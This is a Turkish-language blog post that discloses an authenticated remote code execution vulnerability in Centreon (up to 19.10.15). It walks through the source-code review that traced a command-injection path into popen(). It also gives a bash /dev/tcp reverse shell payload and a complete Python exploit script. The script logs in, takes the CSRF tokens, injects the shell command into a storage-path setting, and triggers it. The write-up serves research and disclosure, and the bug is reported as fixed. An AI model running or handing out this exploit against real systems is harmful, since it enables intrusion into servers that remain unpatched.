```
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="A Pathetic Soul, ">
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-161964231-1"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'UA-161964231-1');
</script>



        <title>Centreon 19.10.8 Authenticated Remote Code Execution</title>


    <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/pure/0.3.0/pure-min.css">
    <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="/theme/css/pure.css">
    <link rel="stylesheet" href="/theme/css/pygments.css">

    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/fitvids/1.0.1/jquery.fitvids.min.js"></script>
    <script>
        $(document).ready(function(){
            $(".content").fitVids();
        });
    </script>
</head>

<body>
<div class="pure-g-r" id="layout">
    <div class="sidebar sidebar-article pure-u">
        <header class="header-article">
            <hgroup>
                <a href="/author/engindemirbilek.html" title="See posts by EnginDemirbilek">
                </a>
                <h2 class="article-info">EnginDemirbilek</h2>
                <small class="about-author"></small>
                <h5>Published</h5>
                <p>Tuesday 25 March 2020</p>
                <a href="/">&larr;Home</a>
            </hgroup>
        </header>
        </div>
    <div class="pure-u">
        <div class="content">
            <section class="post">
                <header class="post-header">
                    <h1>Centreon <= 19.10.15  Authenticated Remote Code Execution</h1>
                        <p class="post-meta">
                            //Exploit-DEV                        </p>
                </header>
            </section>
                <p>Merhaba, <a href="https://www.centreon.com/">Centreon</a> adında açık kaynaklı bir ağ yönetim yazılımında <a href="https://www.linkedin.com/in/hekindmn/">Hasan
          Bir önceki yazıda olduğu gibi türkçeye kaynak kazandırmak adına makaleyi türkçe kaleme aldım. </p>


<p><strong>AUTHENTICAD RCE </strong></p>
<p>Authenticated, zafiyetinin tetiklemesi için geçerli bir kullanıcı gerekli olduğunu belirtir. RCE ise uygulama üzerinden uygulamanın çalıştığı sunucuda sistem kodları çalıştırabi

     <p>  <strong>Centreon</strong></p>
<ol>
<li>Uygulama indirme linki: <a href="https://download.centreon.com/">Centreon Downloads</a></li>
<li>Zafiyeti tespit edildiği sürüm: <= 19.10.15 </li>
<li>Zafiyet giderildi ve Centron tarafından özel teşekkür alındı: <a href="https://github.com/centreon/centreon/pull/8467">https://github.com/centreon/centreon/pull/8467</a>
</ol><br>


<p><strong>BÖLÜM 1: Uygulama Eldesi</strong></p>
<p>Kaynak kod analizini keyfi istekler doğrultusunda yapmamızdan ötürü bu uygulamanın adını <a href="https://www.exploit-db.com/search?q=Centreon">Exploit-DB</a> üzerinde gezinirk
Kurulum manuel yapılabileceği gibi yayıncı tarafından hazır OVA ve OVF dosyaları <a href="https://download.centreon.com/">Downloads</a> sayfasına koyulmuş. OVF dosyasını indirip V
</p><br>
```

```
<p><strong>Bölüm 2: Kaynak Kod Eldesi</strong></p>
<p></p>
<p>Sanal makine üzerinde gezinirken uygulamaya ait dosyaların <strong>/usr/share/centron</strong> dizininde olduğunu saptadık.</p>
<p><img alt="Centreon" src="/images/Centreon/1.png"></p>
<p>Kodları daha uygun bir ortadamda IDE üzerinden incelemek için dizini <a href="https://wiki.ubuntu-tr.net/index.php?title=Tar_komutu_kullan%C4%B1m%C4%B1">TAR</a> ile sıkıştırdım
<div class="highlight"><pre><span></span>tar -czvf Centreon.tar.gz /usr/share/centron/
scp root@CentreonIP:/usr/share/centron/Centreon.tar.gz /tmp/Centreon.tar.gz
</pre></div><br>


<p><strong>Bölüm 3: Kaynak Kodun İncelenmesi</strong></p>
        <p>Dosyaları kendi tercih ettiğim <a href="https://atom.io/"> ATOM</a> idesini kullanarak kurcalamaya başladık.</p>
<p>Diğer makalelerimde de olduğu gibi kodlar arasında aşağıda belirttiğim sistem fonksiyonlarını aramaya başladık:</p>
<code>
system, exec, shell_exec, popen, eval, passthru
  </code>
</p>
<p> Boşa geçirilen epey bir saatin sonunda <strong>/www/include/views/graphs/graphStatus/displayServiceStatus.php</strong> dosyasının 302. satırında zafiyetli olabilecek bir noktay
  <p><img alt="Centreon" src="/images/Centreon/2.png"></p>
<p>Sistem fonksiyonu olarak <strong>popen()</strong> fonksiyonu kullanılıyor ve <strong>$command_line </strong>isminde henüz nereden geldiği belli olmayan bir değişkeni parametre
Dosya üzerinde biraz daha gezinince <strong>$command_line</strong> değişkeninin aynı dosyanın data üst satırlarında veritabanından gelen verilerle oluşturulduğunu gördüm.
<p><img alt="Centreon" src="/images/Centreon/3.png"></p>
Yaklaşık 3 saat 205-215. satırlar arasında yer alan <strong>service_description</strong>, <strong>host_name</strong> değişkenleri kontrol edip edemeyeceğimize üzerinde uğraş verdi
<p><img alt="Centreon" src="/images/Centreon/4.png"></p>
Güncellenilen hiç bir değerin gerekli tablo üzerinde değişmediğini gördük. Zafiyetli fonksiyona parametre olarak verilen veriler <strong>Centreon_storage</strong> adında bir verit
Bu durumun farkına ise aynı dosyanın 128-136. satırları arasında yer alan veritabanı sorgularına bakınca vardık.
<p><img alt="Centreon" src="/images/Centreon/5.png"></p>
<strong>index_data</strong> isimli bir tablo <strong>Centreon</strong> veritabanı üzerinde bulunmuyordu fakat Centreon_storage veritabanında bulunuyordu.
<p><img alt="Centreon" src="/images/Centreon/6.png"></p>
Bir kaç saat uğraşında ardından <strong>Centreon_storage</strong> veritabanı altında bulunan <strong>index_data</strong> tablosunu güncelleyebileceğim hiç bir nokta saptayamadık.
Bunun yerine diğer girdilere oynamaya çalıştım, graph verileri üzerinde güncelleme yapabileceğim noktalar vardı fakat casting işlemlerinden ötürü string veremiyorduk o yüzden onlar
Tekrar irdelemenin ardından <strong>$command_line</strong> değişkenine eklenen farklı bir girdi daha bulduk.<br>
116. satırda bulunan <strong>$RRDdatabase_path</strong> değişkeni.
<p><img alt="Centreon" src="/images/Centreon/7.png"></p>
Bu değişken <strong>getStatusDBDir($pearDBO)</strong> fonksiyonundan dönen değeri alıyordu. Kodları biraz kurcalayıp ilgili fonksiyonun aynı dosyanın 58-63. satırları arasında tan
<p><img alt="Centreon" src="/images/Centreon/8.png"></p>
Eğer veritabanı üzerinden gelen bu değeri güncellememin bir yolunu bulabilirsek pekala komutlarımıda çalıştırabilirdik. Tekrar kodları kurcalamakla geçirilen bir sürenin ardından,
<strong>/include/Administration/parameters/DB-Func.php</strong> dosyasının 791. satırında tanımlanan <strong>updateODSConfigData</strong> fonksiyonunda ilgili değerin güncellendiğ
<p><img alt="Centreon" src="/images/Centreon/9.png"></p>
Yani eğer ki <strong>updateODSConfigData</strong> fonksiyonunu kontrol eden ve kullanıcıdan girdi alan bir nokta bulursak zafiyeti tetikleyebilirdik. IDElerin arama özelliğini kul
<p><img alt="Centreon" src="/images/Centreon/10.png"></p>
Ilgili noktaya kullanıcı arayüzünden gittiğimde artık RCE'yi tetiklemek için önümüzde herhangi bir engel kalmadı.
<p><img alt="Centreon" src="/images/Centreon/11.png"></p>




</p><br>

<p><strong>Bölüm 4: Payload Hazırlanması</strong></p>
<p>
Girdinin önüne ve sonuna eklenen değerlerden kurtulmak için payload taslağımız <strong>; PAYLOAD ; </strong> şeklinde olacak.<br>
Reverse shell payload: <strong>bash -i >& /dev/tcp/10.0.0.1/8080 0>&1</strong><br>
</p>
<br>


<p><strong>BÖLÜM 5: EXPLOIT</p></strong>

Exploit-DB: <a href="https://www.exploit-db.com/exploits/48256">Exploit</a>

    <div class="highlight"><pre><span></span>
      #!/usr/bin/python

      import requests
      import sys
      import warnings
      from bs4 import BeautifulSoup

      warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

      if len(sys.argv) < 6:
        print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
        exit()

      url = sys.argv[1]
      username = sys.argv[2]
      password = sys.argv[3]
      ip = sys.argv[4]
      port = sys.argv[5]

      req = requests.session()
      print("[+] Retrieving CSRF token...")
      loginPage = req.get(url+"/index.php")
      response = loginPage.text
      s = BeautifulSoup(response, 'html.parser')
      Centreon_token = s.findAll('input')[3].get("value")

      login_creds = {
          "useralias": username,
          "password": password,
          "submitLogin": "Connect",
          "Centreon_token": Centreon_token
      }


      print("[+] Sendin login request...")
      login = req.post(url+"/index.php", login_creds)
```

```
    if "incorrect" not in login.text:
        print("[+] Logged In, retrieving second token")

        page = url + "/main.get.php?p=50118"
        second_token_req = req.get(page)
        response = second_token_req.text
        s = BeautifulSoup(response, 'html.parser')
        second_token = s.find('input', {'name':'Centreon_token'})['value']

        payload = {
            "RRDdatabase_path": "/var/lib/Centreon/metrics/",
            "RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
            "RRDdatabase_nagios_stats_path": "/var/lib/Centreon/nagios-perf/",
            "reporting_retention": "365",
            "archive_retention": "31",
            "len_storage_mysql": "365",
            "len_storage_rrd": "180",
            "len_storage_downtimes": "0",
            "len_storage_comments": "0",
            "partitioning_retention": "365",
            "partitioning_retention_forward": "10",
            "cpartitioning_backup_directory": "/var/cache/Centreon/backup",
            "audit_log_option": "1",
            "audit_log_retention": "0",
            "submitC": "Save",
            "gopt_id": "",
            "o": "storage",
            "o": "storage",
            "Centreon_token": second_token,


        }
        print("[+] Sendin payload...")
        send_payload = req.post(page, payload)

        trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
        print("[+] Triggerring payload...")
        trigger = req.get(trigger_url)

        print("[+] Check your listener !...")

    else:
        print("[-] Wrong credentials or may the system patched.")
        exit()


</pre></div><br>

<video id="Centreon exploitation" class="video-js vjs-default-skin" controls
preload="auto" width="683" height="384"
data-setup="{}">
<source src="/images/Centreon/Centreon-exploitpoc.mov" type='video/mp4'>
</video>




            <div class="hr"></div>
            <a href="#" class="go-top">Go Top</a>
<footer class="footer">
    <p>&copy; A Pathetic Soul &ndash;
        Built with <a href="https://github.com/PurePelicanTheme/pure">Pure Theme</a>
        for <a href="http://blog.getpelican.com/">Pelican</a>
    </p>
</footer>        </div>
    </div>
</div>
    <script>
        var $top = $('.go-top');

        // Show or hide the sticky footer button
        $(window).scroll(function() {
            if ($(this).scrollTop() > 200) {
                $top.fadeIn(200);
            } else {
                $top.fadeOut(200);
            }
        });

        // Animate the scroll to top
        $top.click(function(event) {
            event.preventDefault();
            $('html, body').animate({scrollTop: 0}, 300);
        })

        // Makes sure that the href="#" attached to the <a> elements
        // don't scroll you back up the page.
        $('body').on('click', 'a[href="#"]', function(event) {
            event.preventDefault();
        });
    </script>
</body>
</html>
```